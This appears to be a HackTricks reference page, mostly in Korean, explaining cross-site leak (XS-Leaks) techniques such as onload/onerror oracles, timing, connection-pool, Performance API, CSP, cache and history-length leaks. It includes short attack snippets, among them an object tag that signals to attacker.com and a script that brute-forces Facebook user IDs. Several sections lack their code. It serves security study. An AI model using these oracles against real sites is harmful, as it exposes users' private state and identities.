XS-Search/XS-Leaks

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

XS-Search는 extracting cross-origin information을 위해 side channel vulnerabilities를 악용하는 방법입니다.

이 공격에 관련된 주요 구성 요소는 다음과 같습니다:

  • Vulnerable Web: 정보 추출 대상인 타깃 웹사이트.
  • Attacker’s Web: 공격자가 만들고 피해자가 방문하는 악성 웹사이트(익스플로잇 호스팅).
  • Inclusion Method: Vulnerable Web을 Attacker’s Web에 포함시키는 데 사용되는 기법 (예: window.open, iframe, fetch, HTML 태그의 href 등).
  • Leak Technique: Inclusion Method를 통해 수집한 정보를 바탕으로 Vulnerable Web의 상태 차이를 판별하는 기술.
  • States: 공격자가 구분하려는 Vulnerable Web의 두 가지 가능한 상태.
  • Detectable Differences: 공격자가 Vulnerable Web의 상태를 추론하기 위해 의존하는 관찰 가능한 차이점들.

Detectable Differences

Vulnerable Web의 상태를 구별하기 위해 분석할 수 있는 여러 측면:

  • Status Code: 서버 오류, 클라이언트 오류 또는 인증 오류와 같이 cross-origin에서의 다양한 HTTP 응답 status code를 구별.
  • API Usage: 페이지 전반에서 특정 JavaScript Web API의 사용 여부를 식별.
  • Redirects: HTTP 리다이렉트뿐 아니라 JavaScript나 HTML에 의해 발생하는 다른 페이지로의 네비게이션 감지.
  • Page Content: HTTP 응답 본문 또는 하위 리소스(예: 포함된 frame 수 또는 이미지 크기 차이)에서의 변화를 관찰.
  • HTTP Header: X-Frame-Options, Content-Disposition, Cross-Origin-Resource-Policy 같은 특정 HTTP 응답 header의 존재 또는 값 유무를 주목.
  • Timing: 두 상태 간에 일관된 시간 차이를 감지.

Inclusion Methods

  • HTML Elements: stylesheet, image, script 등과 같은 cross-origin 리소스 포함을 위해 HTML 요소들을 사용할 수 있으며, 브라우저가 non-HTML 리소스를 요청하도록 유도함. 이를 위한 잠재적 HTML 요소 모음은 https://github.com/cure53/HTTPLeaks에서 확인 가능.
  • Frames: iframe, object, embed 같은 요소는 HTML 리소스를 공격자 페이지에 직접 임베드할 수 있음. 페이지가 framing protection을 적용하지 않는 경우, JavaScript는 contentWindow 속성을 통해 프레임된 리소스의 window 객체에 접근할 수 있음.
  • Pop-ups: window.open 메서드는 리소스를 새 탭이나 창으로 열고, SOP에 따라 JavaScript가 메서드와 속성을 통해 상호작용할 수 있는 window handle을 제공. 팝업은 종종 single sign-on에서 사용되며 타깃 리소스의 프레이밍 및 쿠키 제한을 우회할 수 있음. 다만 최신 브라우저는 특정 사용자 액션으로만 팝업 생성을 허용함.
  • JavaScript Requests: JavaScript는 XMLHttpRequests나 Fetch API를 사용해 대상 리소스에 직접 요청을 보낼 수 있음. 이들 방법은 HTTP 리다이렉트를 따를지 여부 등 요청에 대한 정밀한 제어를 제공.

Leak Techniques

  • Event Handler: XS-Leaks에서 고전적인 leak 기법으로, onload와 onerror 같은 이벤트 핸들러가 리소스 로딩의 성공/실패에 대한 정보를 제공함.
  • Error Messages: JavaScript 예외나 특수한 에러 페이지는 에러 메시지 자체에서 또는 존재 유무를 비교하여 leak 정보를 제공할 수 있음.
  • Global Limits: 메모리 용량이나 브라우저가 강제하는 다른 한계처럼 브라우저의 물리적 제한은 임계값 도달 시 신호를 보내 leak 기법으로 활용될 수 있음.
  • Global State: History 인터페이스 등 브라우저의 global states와의 상호작용이 감지 가능하며, 예를 들어 브라우저 히스토리의 entries 수는 cross-origin 페이지에 대한 실마리를 제공할 수 있음.
  • Performance API: 현재 페이지의 성능 세부정보를 제공하며, 문서 및 로드된 리소스의 네트워크 타이밍을 포함해 요청된 리소스에 대해 추론할 수 있게 함.
  • Readable Attributes: 일부 HTML 속성은 cross-origin으로부터 읽을 수 있어 leak 기법으로 사용될 수 있음. 예를 들어 window.frame.length 속성은 cross-origin으로 포함된 프레임 수를 JavaScript로 셀 수 있게 함.

XSinator Tool & Paper

XSinator는 여러 알려진 XS-Leaks에 대해 브라우저를 자동으로 점검하는 도구이며, 논문은 다음에서 확인할 수 있습니다: https://xsinator.com/paper.pdf

도구는 다음에서 접근할 수 있습니다: https://xsinator.com/

Warning

Excluded XS-Leaks: XSinator는 다른 leaks와 간섭할 수 있기 때문에 service workers에 의존하는 XS-Leaks는 제외했습니다. 또한 특정 웹 애플리케이션의 잘못된 설정이나 버그에 의존하는 XS-Leaks(예: CrossOrigin Resource Sharing (CORS) misconfigurations, postMessage leakage 또는 Cross-Site Scripting)는 제외하기로 했습니다. 추가로, timebased XS-Leaks는 느리고, 소음이 많고, 정확도가 낮은 경우가 많아 제외했습니다.

Timing Based techniques

다음에 나오는 일부 기법은 웹 페이지의 가능한 상태 차이를 감지하는 과정에서 timing을 사용합니다. 웹 브라우저에서 시간을 측정하는 다양한 방법이 있습니다.

Clocks: performance.now() API는 고해상도 타이밍 측정을 제공합니다.
공격자가 암묵적 시계를 만들기 위해 악용할 수 있는 API가 상당수 존재합니다: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS animations 등.
자세한 정보: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Event Handler Techniques

Onload/Onerror

Cookie Bomb + Onerror XS Leak

해당 코드 예제는 JS에서 스크립트 객체를 로드하려고 하지만, objects, stylesheets, images, audios 같은 다른 태그들도 사용할 수 있습니다. 또한 태그를 직접 주입하고 태그 내부에서 onload와 onerror 이벤트를 선언하는 것도 가능합니다(대신 JS에서 주입하는 방법 대신).

이 공격에는 스크립트가 없는 버전도 존재합니다:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

이 경우 example.com/404가 존재하지 않으면 attacker.com/?error가 로드됩니다.

Content-Type/CORB script load oracle

  • 포함 방식: HTML Elements (script)
  • 감지 가능한 차이: Header / Content-Type via onload vs onerror (CORB)
  • 요약: 엔드포인트가 일치할 때 HTML을 반환하고 불일치할 때 JSON을 반환하면 <script src>로 로드하세요. HTML은 onload를 트리거하고, JSON은 CORB에 의해 차단되어 onerror를 발생시킵니다. 이는 알려진 범위 내에서 __user 같은 식별자를 무차별 대입으로 찾을 수 있는 불리언 오라클(Boolean oracle)을 제공합니다.
  • 참고: 본 방법은 본문을 읽지 않고도 cross-origin에서 작동합니다; tenant ID가 고정된 경우 활성 계정을 열거하는 데 유용합니다.

postMessage vs X-Frame-Options deny oracle

  • 포함 방식: Frames
  • 감지 가능한 차이: Header (XFO) + postMessage 존재/부재
  • 요약: 일부 위젯은 로드되면 부모에게 postMessage를 보냅니다. 요청이 잘못된 식별자로 프레이밍되면 서버가 X-Frame-Options: deny로 응답하여 렌더링을 차단하고 메시지가 전송되지 않을 수 있습니다. iframe의 src를 후보 ID로 설정하고 message 이벤트를 기다리며(성공 시) 타임아웃/메시지 없음은 실패로 처리하면 활성 계정을 무차별 대입으로 찾을 수 있습니다.
  • 최소 스니펫:
<iframe id=fb width=0 height=0></iframe>
<script>
function test(id){
fb.src=`https://www.facebook.com/plugins/like.php?__a=1&__user=${id}`;
return new Promise(r=>{
const t=setTimeout(()=>r(false),2000);
onmessage=()=>{clearTimeout(t);r(true);}
});
}
</script>

Iframe Traps

메시지/iframe 관련 추가 함정은 위 링크들을 참고하세요.

Onload Timing

performance.now example

Onload Timing + Forced Heavy Task

이 기법은 이전 것과 동일하지만, 공격자가 응답이 긍정적이거나 부정적일 때 일부 동작이 상당한 시간을 소요하도록 강제하고 그 시간을 측정합니다.

performance.now + Force heavy task

unload/beforeunload Timing

리소스를 가져오는 데 걸리는 시간은 unload 및 beforeunload 이벤트를 이용해 측정할 수 있습니다. beforeunload 이벤트는 브라우저가 새 페이지로 이동하려 할 때 발생하고, unload 이벤트는 실제로 이동이 진행될 때 발생합니다. 이 두 이벤트 간의 시간 차이를 계산하면 브라우저가 리소스를 가져오는 데 소요한 기간을 알 수 있습니다.

Sandboxed Frame Timing + onload

Framing Protections가 없는 경우, 공격자가 페이지와 그 하위 리소스가 네트워크를 통해 로드되는 데 필요한 시간을 측정할 수 있음이 관찰되었습니다. 이러한 측정은 일반적으로 iframe의 onload 핸들러가 리소스 로드와 JavaScript 실행이 완료된 이후에만 트리거되기 때문에 가능합니다. 스크립트 실행이 도입하는 변동성을 우회하기 위해, 공격자는 <iframe> 내에서 sandbox 속성을 사용할 수 있습니다. 이 속성을 포함하면 JavaScript 실행을 포함한 여러 기능이 제한되어 네트워크 성능에 주로 영향을 받는 측정이 용이해집니다.

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

  • 포함 방법: Frames
  • 식별 가능한 차이: Page Content
  • 더 많은 정보:
  • 요약: 올바른 컨텐츠에 접근했을 때 페이지를 에러 상태로 만들고, 잘못된(또는 아무) 컨텐츠에 접근했을 때는 정상적으로 로드되게 만들 수 있다면, 시간을 측정하지 않고도 모든 정보를 추출할 수 있는 루프를 만들 수 있다.
  • 코드 예시:

Suppose that you can insert the page that has the secret content inside an Iframe.

You can make the victim search for the file that contains “flag” using an Iframe (exploiting a CSRF for example). Inside the Iframe you know that the onload event will be executed always at least once. Then, you can change the URL of the iframe but changing only the content of the hash inside the URL.

For example:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

If the first URL was successfully loaded, then, when changing the hash part of the URL the onload event won’t be triggered again. But if the page had some kind of error when loading, then, the onload event will be triggered again.

Then, you can distinguish between a correctly loaded page or page that has an error when is accessed.

Javascript Execution

  • 포함 방법: Frames
  • 식별 가능한 차이: Page Content
  • 더 많은 정보:
  • 요약: 페이지가 민감한 컨텐츠를 반환하거나, 사용자가 제어할 수 있는 컨텐츠를 반환하는 경우, 공격자는 부정 사례(negative case)에서 유효한 JS 코드를 설정하고 각 시도마다 <script> 태그 안에 로드하도록 할 수 있다. 그러면 부정 사례에서는 공격자 코드가 실행되고, 긍정 사례에서는 아무것도 실행되지 않는다.
  • 코드 예시:

JavaScript Execution XS Leak

CORB - Onerror

  • 포함 방법: HTML Elements
  • 식별 가능한 차이: Status Code & Headers
  • 더 많은 정보: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • 요약: Cross-Origin Read Blocking (CORB)은 Spectre와 같은 공격으로부터 보호하기 위해 특정 크로스-오리진 민감 리소스의 로드를 차단하는 보안 조치이다. 그러나 공격자는 이 보호 동작을 악용할 수 있다. CORB의 대상이 되는 응답이 nosniff가 설정된 CORB 보호되는 Content-Type과 2xx 상태 코드를 반환하면, CORB는 응답의 바디와 헤더를 제거한다. 이를 관찰하는 공격자는 성공/오류를 나타내는 status code와 CORB로 보호되는지를 나타내는 Content-Type의 조합을 추론할 수 있어 잠재적인 정보 유출을 초래할 수 있다.
  • 코드 예시:

Check the more information link for more information about the attack.

onblur

It’s possible to load a page inside an iframe and use the #id_value to make the page focus on the element of the iframe with indicated if, then if an onblur signal is triggered, the ID element exists.
You can perform the same attack with portal tags.

postMessage Broadcasts

  • 포함 방법: Frames, Pop-ups
  • 식별 가능한 차이: API Usage
  • 더 많은 정보: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • 요약: postMessage에서 민감한 정보를 수집하거나 postMessages의 존재 자체를 오라클로 사용해 페이지에서 사용자의 상태를 알 수 있다.
  • 코드 예시: Any code listening for all postMessages.

Applications frequently utilize postMessage broadcasts to communicate across different origins. However, this method can inadvertently expose sensitive information if the targetOrigin parameter is not properly specified, allowing any window to receive the messages. Furthermore, the mere act of receiving a message can act as an oracle; for instance, certain messages might only be sent to users who are logged in. Therefore, the presence or absence of these messages can reveal information about the user’s state or identity, such as whether they are authenticated or not.

Global Limits Techniques

WebSocket API

It is possible to identify if, and how many, WebSocket connections a target page uses. It allows an attacker to detect application states and leak information tied to the number of WebSocket connections.

If one origin uses the maximum amount of WebSocket connection objects, regardless of their connections state, the creation of new objects will result in JavaScript exceptions. To execute this attack, the attacker website opens the target website in a pop-up or iframe and then, after the target web has been loaded, attempts to create the maximum number of WebSockets connections possible. The number of thrown exceptions is the number of WebSocket connections used by the target website window.

Payment API

This XS-Leak enables an attacker to detect when a cross-origin page initiates a payment request.

Because only one request payment can be active at the same time, if the target website is using the Payment Request API, any further attempts to show use this API will fail, and cause a JavaScript exception. The attacker can exploit this by periodically attempting to show the Payment API UI. If one attempt causes an exception, the target website is currently using it. The attacker can hide these periodical attempts by immediately closing the UI after creation.

Timing the Event Loop

Event Loop Blocking + Lazy images

JavaScript operates on a single-threaded event loop concurrency model, signifying that it can only execute one task at a time. This characteristic can be exploited to gauge how long code from a different origin takes to execute. An attacker can measure the execution time of their own code in the event loop by continuously dispatching events with fixed properties. These events will be processed when the event pool is empty. If other origins are also dispatching events to the same pool, an attacker can infer the time it takes for these external events to execute by observing delays in the execution of their own tasks. This method of monitoring the event loop for delays can reveal the execution time of code from different origins, potentially exposing sensitive information.

Warning

In an execution timing it’s possible to eliminate network factors to obtain more precise measurements. For example, by loading the resources used by the page before loading it.

Busy Event Loop

  • 포함 방법:
  • 식별 가능한 차이: Timing (generally due to Page Content, Status Code)
  • 더 많은 정보: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • 요약: 웹 작업의 실행 시간을 측정하는 한 방법은 스레드의 event loop를 의도적으로 블로킹한 다음 event loop가 다시 사용 가능해지는 데 걸리는 시간을 측정하는 것이다. 긴 계산이나 동기 API 호출 같은 블로킹 작업을 event loop에 삽입하고 이후 코드가 실행되기 시작하는 데 걸리는 시간을 모니터링함으로써, 블로킹 기간 동안 event loop에서 실행되던 작업들의 기간을 추론할 수 있다. 이 기법은 JavaScript의 단일 스레드 특성을 활용하여 같은 스레드를 공유하는 다른 작업들의 동작이나 성능에 대한 통찰을 제공할 수 있다.
  • 코드 예시:

A significant advantage of the technique of measuring execution time by locking the event loop is its potential to circumvent Site Isolation. Site Isolation is a security feature that separates different websites into separate processes, aiming to prevent malicious sites from directly accessing sensitive data from other sites. However, by influencing the execution timing of another origin through the shared event loop, an attacker can indirectly extract information about that origin’s activities. This method does not rely on direct access to the other origin’s data but rather observes the impact of that origin’s activities on the shared event loop, thus evading the protective barriers established by Site Isolation.

Warning

In an execution timing it’s possible to eliminate network factors to obtain more precise measurements. For example, by loading the resources used by the page before loading it.

Connection Pool

  • 포함 방법: JavaScript Requests
  • 식별 가능한 차이: Timing (generally due to Page Content, Status Code)
  • 더 많은 정보: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • 요약: 공격자는 모든 소켓을 1개만 남겨두고 잠그고, 대상 페이지를 로드하면서 동시에 다른 페이지를 로드한다. 마지막 페이지가 로드를 시작할 때까지의 시간이 대상 페이지가 로드되는 데 걸린 시간이다.
  • 코드 예시:

Connection Pool Examples

Browsers utilize sockets for server communication, but due to the limited resources of the operating system and hardware, browsers are compelled to impose a limit on the number of concurrent sockets. Attackers can exploit this limitation through the following steps:

  1. Ascertain the browser’s socket limit, for instance, 256 global sockets.
  2. Occupy 255 sockets for an extended duration by initiating 255 requests to various hosts, designed to keep the connections open without completing.
  3. Employ the 256th socket to send a request to the target page.
  4. Attempt a 257th request to a different host. Given that all sockets are in use (as per steps 2 and 3), this request will be queued until a socket becomes available. The delay before this request proceeds provides the attacker with timing information about the network activity related to the 256th socket (the target page’s socket). This inference is possible because the 255 sockets from step 2 are still engaged, implying that any newly available socket must be the one released from step 3. The time taken for the 256th socket to become available is thus directly linked to the time required for the request to the target page to complete.

For more info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Connection Pool by Destination

  • 포함 방법: JavaScript Requests
  • 식별 가능한 차이: Timing (generally due to Page Content, Status Code)
  • 더 많은 정보:
  • 요약: 이전 기법과 유사하지만, Chrome은 동일한 origin에 대해 6개의 동시 요청 제한을 둔다. 5개를 블록하고 6번째 요청을 띄워 타이밍을 측정하면, victim 페이지가 동일한 엔드포인트로 더 많은 요청을 보내게 만들 수 있다면 6번째 요청이 더 오래 걸려 이를 감지할 수 있다.

Performance API Techniques

The Performance API offers insights into the performance metrics of web applications, further enriched by the Resource Timing API. The Resource Timing API enables the monitoring of detailed network request timings, such as the duration of the requests. Notably, when servers include the Timing-Allow-Origin: * header in their responses, additional data like the transfer size and domain lookup time becomes available.

This wealth of data can be retrieved via methods like performance.getEntries or performance.getEntriesByName, providing a comprehensive view of performance-related information. Additionally, the API facilitates the measurement of execution times by calculating the difference between timestamps obtained from performance.now(). However, it’s worth noting that for certain operations in browsers like Chrome, the precision of performance.now() may be limited to milliseconds, which could affect the granularity of timing measurements.

Beyond timing measurements, the Performance API can be leveraged for security-related insights. For instance, the presence or absence of pages in the performance object in Chrome can indicate the application of X-Frame-Options. Specifically, if a page is blocked from rendering in a frame due to X-Frame-Options, it will not be recorded in the performance object, providing a subtle clue about the page’s framing policies.

Error Leak

It is possible to differentiate between HTTP response status codes because requests that lead to an error do not create a performance entry.

Style Reload Error

In the previous technique it was also identified two cases where browser bugs in GC lead to resources being loaded twice when they fail to load. This will result in multiple entries in the Performance API and can thus be detected.

Request Merging Error

The technique was found in a table in the mentioned paper but no description of the technique was found on it. However, you can find the source code checking for it in https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

Empty Page Leak

An attacker can detect if a request resulted in an empty HTTP response body because empty pages do not create a performance entry in some browsers.

XSS-Auditor Leak

In Security Assertions (SA), the XSS Auditor, originally intended to prevent Cross-Site Scripting (XSS) attacks, can paradoxically be exploited to leak sensitive information. Although this built-in feature was removed from Google Chrome (GC), it’s still present in SA. In 2013, Braun and Heiderich demonstrated that the XSS Auditor could inadvertently block legitimate scripts, leading to false positives. Building on this, researchers developed techniques to extract information and detect specific content on cross-origin pages, a concept known as XS-Leaks, initially reported by Terada and elaborated by Heyes in a blog post. Although these techniques were specific to the XSS Auditor in GC, it was discovered that in SA, pages blocked by the XSS Auditor do not generate entries in the Performance API, revealing a method through which sensitive information might still be leaked.

X-Frame Leak

If a page is not allowed to be rendered in an iframe it does not create a performance entry. As a result, an attacker can detect the response header X-Frame-Options.
Same happens if you use an embed tag.

Download Detection

Similar, to the XS-Leak described, a resource that is downloaded because of the ContentDisposition header, also does not create a performance entry. This technique works in all major browsers.

Redirect Start Leak

We found one XS-Leak instance that abuses the behavior of some browsers which log too much information for cross-origin requests. The standard defines a subset of attributes that should be set to zero for cross-origin resources. However, in SA it is possible to detect if the user is redirected by the target page, by querying the Performance API and checking for the redirectStart timing data.

Duration Redirect Leak

In GC, the duration for requests that result in a redirect is negative and can thus be distinguished from requests that do not result in a redirect.

CORP Leak

In some cases, the nextHopProtocol entry can be used as a leak technique. In GC, when the CORP header is set, the nextHopProtocol will be empty. Note that SA will not create a performance entry at all for CORP-enabled resources.

Service Worker

Service workers are event-driven script contexts that run at an origin. They run in the background of a web page and can intercept, modify, and cache resources to create offline web application.
If a resource cached by a service worker is accessed via iframe, the resource will be loaded from the service worker cache.
To detect if the resource was loaded from the service worker cache the Performance API can be used.
This could also be done with a Timing attack (check the paper for more info).

Cache

Using the Performance API it’s possible to check if a resource is cached.

Network Duration

Error Messages Technique

Media Error

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false)
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg
}

function startup() {
let audioElement = document.getElementById("audio")
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener(
"click",
function () {
audioElement.src = document.getElementById("testUrl").value
},
false
)
// Create the event handler
var errHandler = function () {
let err = this.error
let message = err.message
let status = ""

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if (
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
message.indexOf("Failed to init decoder") != -1
) {
status = "Success"
} else {
status = "Error"
}
displayErrorMessage(
"<strong>Status: " +
status +
"</strong> (Error code:" +
err.code +
" / Error Message: " +
err.message +
")<br>"
)
}
audioElement.onerror = errHandler
}

MediaError 인터페이스의 message 속성은 성공적으로 로드된 리소스를 고유한 문자열로 식별합니다. 공격자는 이 메시지 내용을 관찰하여 cross-origin 리소스의 응답 상태를 유추함으로써 이 기능을 악용할 수 있습니다.

CORS Error

이 기법은 Webkit 기반 브라우저가 CORS 요청을 처리하는 방식을 악용해 공격자가 cross-origin 사이트의 리디렉션 목적지를 추출할 수 있게 합니다. 구체적으로, 사용자의 상태에 따라 리디렉션을 수행하는 대상 사이트에 대해 CORS-enabled 요청을 보낸 후 브라우저가 해당 요청을 거부하면, 리디렉션 대상의 전체 URL이 오류 메시지에 노출됩니다. 이 취약점은 리디렉션의 존재를 드러낼 뿐만 아니라 리디렉션의 엔드포인트와 그에 포함된 민감한 쿼리 매개변수까지 노출합니다.

SRI Error

공격자는 verbose error messages를 이용해 cross-origin 응답의 크기를 추론할 수 있습니다. 이는 Subresource Integrity (SRI)의 작동 방식 때문인데, SRI는 integrity 속성을 사용해 CDN 등에서 가져온 리소스가 변조되지 않았는지 검증합니다. SRI가 cross-origin 리소스에서 작동하려면 해당 리소스가 CORS-enabled이어야 하고, 그렇지 않으면 무결성 검사가 적용되지 않습니다. Security Assertions (SA)에서 CORS error XS-Leak과 유사하게, integrity 속성이 있는 fetch 요청이 실패하면 오류 메시지를 캡처할 수 있습니다. 공격자는 의도적으로 요청의 integrity 속성에 잘못된 해시 값을 할당해 이 오류를 유발할 수 있습니다. SA에서는 결과 오류 메시지가 요청된 리소스의 콘텐츠 길이를 우발적으로 드러냅니다. 이 정보 유출은 응답 크기의 차이를 식별하게 해주며, 정교한 XS-Leak 공격으로 이어질 수 있습니다.

CSP Violation/Detection

XS-Leak은 CSP를 이용해 cross-origin 사이트가 다른 origin으로 리디렉션되었는지를 감지할 수 있습니다. 이 누출은 리디렉션을 감지할 뿐만 아니라 리디렉션 대상의 도메인도 누출할 수 있습니다. 공격 아이디어는 대상 도메인을 공격자 사이트에서 허용해 두는 것입니다. 대상 도메인에 요청을 보내면 cross-origin 도메인으로 redirect가 발생하고, CSP가 이를 차단하여 violation report를 생성합니다. 브라우저에 따라 이 리포트는 리디렉션의 대상 위치를 유출할 수 있습니다. 최신 브라우저는 리디렉션된 URL을 표시하지 않을 수 있지만, cross-origin 리디렉션이 발생했음을 여전히 감지할 수 있습니다.

Cache

브라우저는 모든 웹사이트에 대해 하나의 공유 캐시를 사용할 수 있습니다. 출처에 관계없이 특정 파일을 대상 페이지가 요청했는지 여부를 추론할 수 있습니다.

예를 들어 페이지가 사용자가 로그인했을 때만 이미지를 로드한다면, 리소스를 무효화(있었다면 더 이상 캐시되지 않도록)한 다음 그 리소스를 로드할 수 있는 요청을 수행하고, 잘못된 요청(예: 과도하게 긴 referer 헤더 등)으로 리소스를 다시 로드해 봅니다. 리소스 로드가 오류를 유발하지 않았다면, 이는 리소스가 캐시되어 있었기 때문입니다.

CSP Directive

Google Chrome의 새로운 기능 중 하나는 iframe 요소에 속성을 설정해 Content Security Policy (CSP)를 제안할 수 있게 하며, 이 정책 디렉티브는 HTTP 요청과 함께 전송됩니다. 일반적으로 포함된 콘텐츠는 HTTP 헤더를 통해 이를 승인해야 하며, 그렇지 않으면 error page가 표시됩니다. 그러나 iframe이 이미 CSP로 보호되고 있고 새로 제안된 정책이 더 제한적이지 않다면 페이지는 정상적으로 로드됩니다. 이 메커니즘을 통해 공격자는 오류 페이지를 식별함으로써 cross-origin 페이지의 특정 CSP 디렉티브를 감지할 수 있습니다. 이 취약점은 수정된 것으로 표시되었지만, 우리의 발견은 오류 페이지를 감지할 수 있는 새로운 누출 기법을 보여 줘 근본적인 문제가 완전히 해결되지 않았음을 시사합니다.

CORP

CORP 헤더는 비교적 새로운 웹 플랫폼 보안 기능으로, 설정되면 해당 리소스에 대한 no-cors cross-origin 요청을 차단합니다. CORP로 보호된 리소스는 fetch 시 오류를 throw하므로 헤더의 존재를 감지할 수 있습니다.

CORB

공격에 대한 자세한 내용은 링크를 확인하세요.

CORS error on Origin Reflection misconfiguration

만약 Origin header가 Access-Control-Allow-Origin에 반사된다면 공격자는 이 동작을 악용해 CORS 모드로 리소스를 fetch해볼 수 있습니다. 오류가 발생하지 않으면 그것은 리소스가 정상적으로 웹에서 가져와진 것을 의미하고, 오류가 발생하면 캐시에서 접근된 것입니다(오류는 캐시가 원래 도메인을 허용하는 CORS 헤더로 응답을 저장했기 때문에 발생하며 공격자의 도메인으로는 허용되지 않음).
참고로 origin이 반사되지 않고 와일드카드(Access-Control-Allow-Origin: *)가 사용되는 경우 이 기법은 작동하지 않습니다.

Readable Attributes Technique

Fetch Redirect

redirect: "manual" 및 기타 파라미터를 사용해 Fetch API로 요청을 전송하면 response.type 속성을 읽을 수 있고, 그 값이 opaqueredirect이라면 해당 응답이 리디렉션이었음을 알 수 있습니다.

COOP

공격자는 cross-origin HTTP 응답에 COOP 헤더가 존재하는지를 유추할 수 있습니다. COOP는 외부 사이트가 임의의 window 참조를 얻는 것을 방지하기 위해 사용됩니다. 이 헤더의 존재는 contentWindow 참조에 접근하려 시도해 판별할 수 있습니다. COOP가 조건부로 적용되는 경우에는 opener 속성이 유용한 지표가 됩니다: COOP가 활성화되면 opener는 undefined이고, 적용되지 않으면 defined입니다.

URL Max Length - Server Side

서버 측 리디렉션이 리디렉션 내부에 사용자 입력과 추가 데이터를 사용할 경우 이 동작을 감지할 수 있습니다. 일반적으로 서버에는 요청 길이 제한이 있기 때문입니다. 만약 사용자 데이터가 그 한계 - 1 정도이고, 리디렉션이 그 데이터를 사용해 무언가를 추가하면 오류가 발생할 수 있고 이는 Error Events로 감지됩니다.

사용자에게 쿠키를 설정할 수 있다면, 충분한 쿠키를 설정해 이 공격을 수행할 수도 있습니다 (cookie bomb) — 올바른 응답의 응답 크기가 증가하여 오류가 발생하게 됩니다. 이 경우 동일 출처에서 요청을 트리거하면 <script>가 자동으로 쿠키를 전송하므로(오류를 확인할 수 있음) 이를 기억하세요.
cookie bomb + XS-Search의 예시는 이 글의 의도된 솔루션에서 확인할 수 있습니다: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

이 타입의 공격에는 보통 SameSite=None 또는 동일 컨텍스트에 있어야 합니다.

URL Max Length - Client Side

Chromium 문서에 따르면, Chrome의 최대 URL 길이는 2MB입니다.

일반적으로 웹 플랫폼에는 URL 길이에 대한 제한이 없지만(일반적으로 2^31이 한계인 경우가 많음), Chrome은 실용적인 이유와 프로세스 간 통신에서의 DoS 문제 방지를 위해 URL을 최대 2MB로 제한합니다.

따라서 리디렉션 URL이 한 경우에 더 길다면, 리디렉션을 2MB보다 큰 URL로 유도해 길이 제한에 걸리게 할 수 있습니다. 이 경우 Chrome은 about:blank#blocked 페이지를 표시합니다.

구분 가능한 차이점은, 리디렉션이 정상적으로 완료되면 cross origin 정보를 접근하려 할 때 window.origin이 에러를 발생시키지만, 만약 제한에 걸려 로드된 페이지가 **about:blank#blocked**였다면 창의 **origin**은 부모의 origin을 유지하므로 접근 가능한 정보로 남는다는 점입니다.

필요한 모든 추가 정보는 초기 URL의 hash에 추가해 리디렉션 시 사용되게 할 수 있습니다.

URL Max Length - Client Side

Max Redirects

브라우저가 따라갈 수 있는 리디렉션의 최대 수가 20이라면, 공격자는 자신의 페이지를 19번의 리디렉션으로 로드하도록 시도한 뒤 최종적으로 피해자를 테스트할 페이지로 보낼 수 있습니다. 만약 오류가 발생하면, 해당 페이지가 피해자를 리디렉션하려고 시도한 것입니다.

History Length

History API는 JavaScript가 브라우저 히스토리를 조작할 수 있게 해 사용자가 방문한 페이지를 저장합니다. 공격자는 포함 방법으로 length 속성을 사용해 JavaScript 및 HTML 내비게이션을 감지할 수 있습니다.
history.length를 확인하고 사용자를 어떤 페이지로 이동시킨 뒤 다시 같은 출처로 되돌리고 나서 **변경된 history.length**를 확인합니다.

History Length with same URL

  • Inclusion Methods: Frames, Pop-ups
  • Detectable Difference: If URL is the same as the guessed one
  • Summary: 히스토리 길이를 악용해 frame/pop-up의 위치가 특정 URL인지 추측할 수 있습니다.
  • Code Example: Below

공격자는 JavaScript로 frame/pop-up의 위치를 추측한 URL로 설정한 뒤 즉시 about:blank로 변경할 수 있습니다. 만약 history 길이가 증가했다면 그 URL이 올바른 것이고, 동일한 URL이면 리로드되지 않아 히스토리 길이가 증가했음을 의미합니다. 반대로 증가하지 않았다면 추측한 URL을 로드하려 했으나 즉시 about:blank를 로드했기 때문에 히스토리 길이는 증가하지 않았습니다.

async function debug(win, url) {
win.location = url + "#aaa"
win.location = "about:blank"
await new Promise((r) => setTimeout(r, 500))
return win.history.length
}

win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=c"))

win.close()
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))

Frame Counting

iframe 또는 window.open으로 열린 웹의 프레임 수를 세는 것은 해당 페이지에서의 사용자 상태를 식별하는 데 도움이 될 수 있습니다.
더욱이 페이지가 항상 동일한 수의 프레임을 가지고 있다면, 프레임 수를 지속적으로 확인하여 패턴을 식별하고 정보가 leak될 가능성을 발견할 수 있습니다.

이 기법의 한 예로, Chrome에서는 내부적으로 embed가 사용되기 때문에 PDF를 frame counting으로 감지할 수 있습니다. zoom, view, page, toolbar와 같은 콘텐츠를 어느 정도 제어할 수 있는 Open URL Parameters가 있어 이 기법이 흥미로울 수 있습니다.

HTMLElements

